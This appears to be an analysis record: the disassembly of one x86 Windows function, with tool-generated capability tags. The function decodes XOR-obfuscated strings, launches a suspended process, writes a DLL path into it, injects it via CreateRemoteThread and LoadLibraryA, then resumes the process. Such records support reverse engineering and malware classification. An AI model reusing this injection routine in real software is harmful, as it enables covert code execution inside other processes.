Function at 0x454ed0
Capabilities:
Create process on windows
Create process suspended
Create thread
Encode data using xor
Inject thread
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc4
mov eax, dword [0x5080c0]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x5183a4], 2
push ebx
push esi
push edi
jne 0x455351
mov eax, dword [0x517ad0]
cmp byte [eax + 0x258], 0
je 0x455351
movaps xmm0, xmmword [0x503220]
xor ecx, ecx
mov dword [0x518450], 1
mov dword [0x5183a4], 1
movups xmmword [ebp - 0x24], xmm0
mov word [ebp - 0x14], 0x10
nop dword [eax]
mov al, byte [ebp - 0x24]
xor byte [ebp + ecx - 0x23], al
inc ecx
cmp ecx, 0x10
jb 0x454f30
lea ecx, [ebp - 0x23]
mov byte [ebp - 0x13], 0
call fcn.00459630
test al, al
jne 0x454ff8
movaps xmm0, xmmword [0x5031f0]
mov al, 0x32
mov byte [ebp - 0x10], 0x7e
mov cl, 0x1f
xor al, byte [ebp - 0x10]
mov ch, 0x16
mov byte [ebp - 0xf], al
mov dl, 0xb
mov al, byte [ebp - 0x10]
mov bl, 0x10
mov ah, 0x1d
mov byte [ebp - 7], 0
mov dh, 0x1b
mov byte [ebp - 7], 0
mov bh, 0xc
mov dword [ebp - 0x38], 0x1d1c5217
xor cl, al
mov dword [ebp - 0x34], 0x1d145206
xor ch, al
mov byte [ebp - 0xe], cl
xor dl, al
mov byte [ebp - 0xa], ch
xor bl, al
mov byte [ebp - 0xd], dl
xor ah, al
mov byte [ebp - 0xc], bl
xor dh, al
mov byte [ebp - 0xb], ah
xor bh, al
mov byte [ebp - 9], dh
mov byte [ebp - 8], bh
xor ecx, ecx
movups xmmword [ebp - 0x48], xmm0
mov dword [ebp - 0x30], 0x5c161c07
mov byte [ebp - 0x2c], 0
nop
mov al, byte [ebp - 0x48]
xor byte [ebp + ecx - 0x47], al
inc ecx
cmp ecx, 0x1b
jb 0x454fc0
push 0x10
lea eax, [ebp - 0xf]
mov byte [ebp - 0x2c], 0
push eax
lea eax, [ebp - 0x47]
push eax
push dword [0x517af8]
call dword [sym.imp.USER32.dll_MessageBoxA]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004abb31
mov esp, ebp
pop ebp
ret
cmp dword [0x517f3c], 0xf
mov ecx, 0x517f28
cmova ecx, dword [0x517f28]
call fcn.00459630
test al, al
jne 0x45512b
movaps xmm0, xmmword [0x503400]
mov al, 0xe
mov byte [ebp - 0x10], 0x42
mov dl, 0x37
xor al, byte [ebp - 0x10]
mov dh, 0x27
mov byte [ebp - 0xf], al
mov cl, 0x23
mov al, byte [ebp - 0x10]
mov ch, 0x2a
xor dl, al
mov byte [ebp - 7], 0
xor dh, al
mov byte [ebp - 0xd], dl
mov bl, 0x2c
mov byte [ebp - 9], dh
mov ah, 0x21
mov byte [ebp - 7], 0
mov bh, 0x30
mov dword [ebp - 0x14], 0x713b31
xor cl, al
xor bl, al
xor ah, al
mov byte [ebp - 0xe], cl
xor ch, al
mov byte [ebp - 0xc], bl
xor bh, al
mov byte [ebp - 0xa], ch
cmp dword [0x517f3c], 0xf
mov edx, 0x517f28
mov byte [ebp - 0xb], ah
cmova edx, dword [0x517f28]
xor ecx, ecx
mov byte [ebp - 8], bh
movups xmmword [ebp - 0x24], xmm0
mov al, byte [ebp - 0x24]
xor byte [ebp + ecx - 0x23], al
inc ecx
cmp ecx, 0x12
jb 0x455087
push edx
sub esp, 0x18
mov byte [ebp - 0x11], 0
mov edx, esp
lea ecx, [ebp - 0x23]
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4550b8
sub ecx, esi
lea eax, [ebp - 0x23]
push ecx
push eax
mov ecx, edx
call fcn.00444da0
lea eax, [ebp - 0x44]
push eax
call fcn.004597c0
add esp, 0x20
cmp dword [eax + 0x14], 0xf
jbe 0x4550e1
mov eax, dword [eax]
push 0x10
lea ecx, [ebp - 0xf]
push ecx
push eax
push dword [0x517af8]
call dword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, dword [ebp - 0x30]
cmp ecx, 0xf
jbe 0x455351
mov edx, dword [ebp - 0x44]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x455347
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x455362
jmp 0x455347
mov eax, dword [0x517ad0]
movzx esi, byte [eax + 0x238]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
movaps xmm0, xmmword [0x5031a0]
mov edx, eax
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x18], 0x1f5e5b1e
xor ecx, ecx
mov dword [ebp - 0x14], 0x1f5e5b
nop word [eax + eax]
mov al, byte [ebp - 0x28]
xor byte [ebp + ecx - 0x27], al
inc ecx
cmp ecx, 0x16
jb 0x455160
push esi
push edx
sub esp, 0x18
mov byte [ebp - 0x11], 0
mov edx, esp
lea ecx, [ebp - 0x27]
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x455192
sub ecx, esi
lea eax, [ebp - 0x27]
push ecx
push eax
mov ecx, edx
call fcn.00444da0
lea eax, [ebp - 0x60]
push eax
call fcn.004597c0
add esp, 0x24
mov dword [ebp - 0xc0], 0x44
cmp dword [ebp - 0x4c], 0xf
lea ecx, [ebp - 0x74]
xorps xmm0, xmm0
lea eax, [ebp - 0x60]
cmova eax, dword [ebp - 0x60]
push ecx
lea ecx, [ebp - 0xc0]
movlpd qword [ebp - 0xbc], xmm0
push ecx
push 0
push 0
push 4
push 0
push 0
push 0
push eax
push 0
movlpd qword [ebp - 0xb4], xmm0
movlpd qword [ebp - 0xac], xmm0
movlpd qword [ebp - 0xa4], xmm0
movlpd qword [ebp - 0x9c], xmm0
movlpd qword [ebp - 0x94], xmm0
movlpd qword [ebp - 0x8c], xmm0
movlpd qword [ebp - 0x84], xmm0
movups xmmword [ebp - 0x74], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x455319
cmp dword [0x517f3c], 0xf
mov esi, 0x517f28
mov edi, dword [ebp - 0x74]
cmova esi, dword [0x517f28]
push 4
push 0x3000
push 0x104
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ebx, eax
test ebx, ebx
je 0x455310
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x455271
sub ecx, edx
push 0
lea eax, [ecx + 1]
push eax
push esi
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x455296
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x455310
push 0
push 0
push ebx
push dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x64], eax
test eax, eax
jne 0x4552d8
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x4552b6
sub esi, ecx
push 0x8000
lea eax, [esi + 1]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x455310
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0xffffffff
je 0x455310
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x4552f2
sub esi, ecx
push 0x8000
lea eax, [esi + 1]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push dword [ebp - 0x64]
call edi
push dword [ebp - 0x70]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 0
call dword [sym.imp.USER32.dll_PostQuitMessage]
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0xf
jbe 0x455351
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x455347
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x455367
push ecx
push edx
call fcn.004abdca
add esp, 8
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004abb31
mov esp, ebp
pop ebp
ret
call fcn.004b4061
call fcn.004b4061
int3